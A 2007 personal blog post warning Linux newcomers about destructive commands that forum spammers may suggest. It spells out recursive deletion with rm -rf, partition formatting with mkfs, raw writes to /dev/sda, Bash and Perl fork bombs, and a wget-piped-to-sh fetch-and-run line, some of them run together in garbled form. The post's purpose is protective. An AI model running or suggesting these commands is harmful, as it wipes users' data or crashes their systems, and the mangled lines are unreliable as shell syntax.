This post is to warn all noobs.If you don't know what a noob is,perhaps you might be one.Noob is short for newbie.If you want a complete post dedicated to explaining noobs, visit Vivek's Blog(The Tech Nut).
In one of my recent posts,I had linked back to some good Linux forums like LQ and Ubuntu Forums and had asked you to visit these forums for some additional help.But all people are not as helpful as I am.There are a few spammers misguiding people who ask questions on the forums.Although such spammers are banned from the forums,you might come across one someday.
Ubuntu is one of the most user friendly Linux Distros.You will rarely need to use terminal.However Linux Pros like using the terminal and even noobs find it fascinating to use a command line.So here are a few commands with their description which is explanatory of the fact that they are dangerous.
The following are statements which recursively delete files-rm -rf /
These three statements are to delete all files,delete current directory and delete visible files in current directory respectively.
rm -rf .
rm -rf *
mkfs is a command used to format a partition.Thus these commands should never be executed -mkfs
I would recommend you to use a GUI to format partitions if you ever need to do so.
mkfs.ext3
mkfs.anything
Another hazardous thing you can do with the terminal is 'Block device manipulation'.It causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data.This is what the command will look like-any_command > /dev/sda
Some spammers make you trigger a Forkbomb.In other words it executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.In Bourne-ish shells, like Bash,it looks like-
dd if=something of=/dev/sda:(){:|:};:
and in Perl-fork while fork
I would like to remind you that all these commands should NOT be executed.
You should take preventive measures to combat Tarbombs and Decompression bombs.Always extract archives in a new folder and don't download archives from untrusted sources.
Don't execute all shellscripts given to you.It may contain a malicious command.This is what the code will look like-wget http://some_place/some_file
Which is same as writing-
sh ./some_filewget http://some_place/some_file -O- | sh
The list of hazards is endless.Someone might ask you to compile some code.This can be a good way to hide the commands he wants you to execute.Thus the best way to be safe is to understand the commands you execute.If you feel that your problem is not related to the command you are being told to execute,be cautious and ask for help from other sources.
Friday, November 23, 2007
Some Dangerous Commands
Posted By
NamanB
at
3:00 PM
Categories: Linux
Subscribe to:
Post Comments (Atom)
Search
Categories
- Adverts (6)
- Blogging (25)
- C++ (4)
- Cricket (25)
- DPS Vasant Kunj (31)
- Formula 1 (31)
- Free Games (7)
- General (42)
- Humour (12)
- IIT JEE (19)
- Linux (19)
- MANIT Bhopal (17)
- MobiWorld (4)
- Movies (14)
- Music (4)
- Reviews (53)
- Tech Talk (28)
- Tennis (3)
- Videos (22)
- VMC:Vidyamandir Classes (38)
Archives
- November 2008 (11)
- October 2008 (17)
- September 2008 (2)
- August 2008 (6)
- July 2008 (24)
- June 2008 (18)
- May 2008 (24)
- April 2008 (20)
- March 2008 (9)
- February 2008 (2)
- January 2008 (1)
- December 2007 (10)
- November 2007 (10)
- October 2007 (28)
- September 2007 (26)
- August 2007 (20)
- July 2007 (19)
- June 2007 (12)
- May 2007 (11)
- April 2007 (26)
Links
Legal Stuff

This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License
Recent Comments
- The comprehensive and detailed traffic reports by ... - Fortune Park Hotels Ltd
- @Alex-Thanks.Nice to know you liked my blog. - NamanB
- I love this site. It has averything you want! Keep... - Alex
- @Saurabh:I'm in Delhi right now for a week.I'll co... - NamanB
- Interesting post title analysis "The Last Lecture"... - Abhishek Nandakumar
1 comments:
Wow. Nice post, well explained indeed. :)
Post a Comment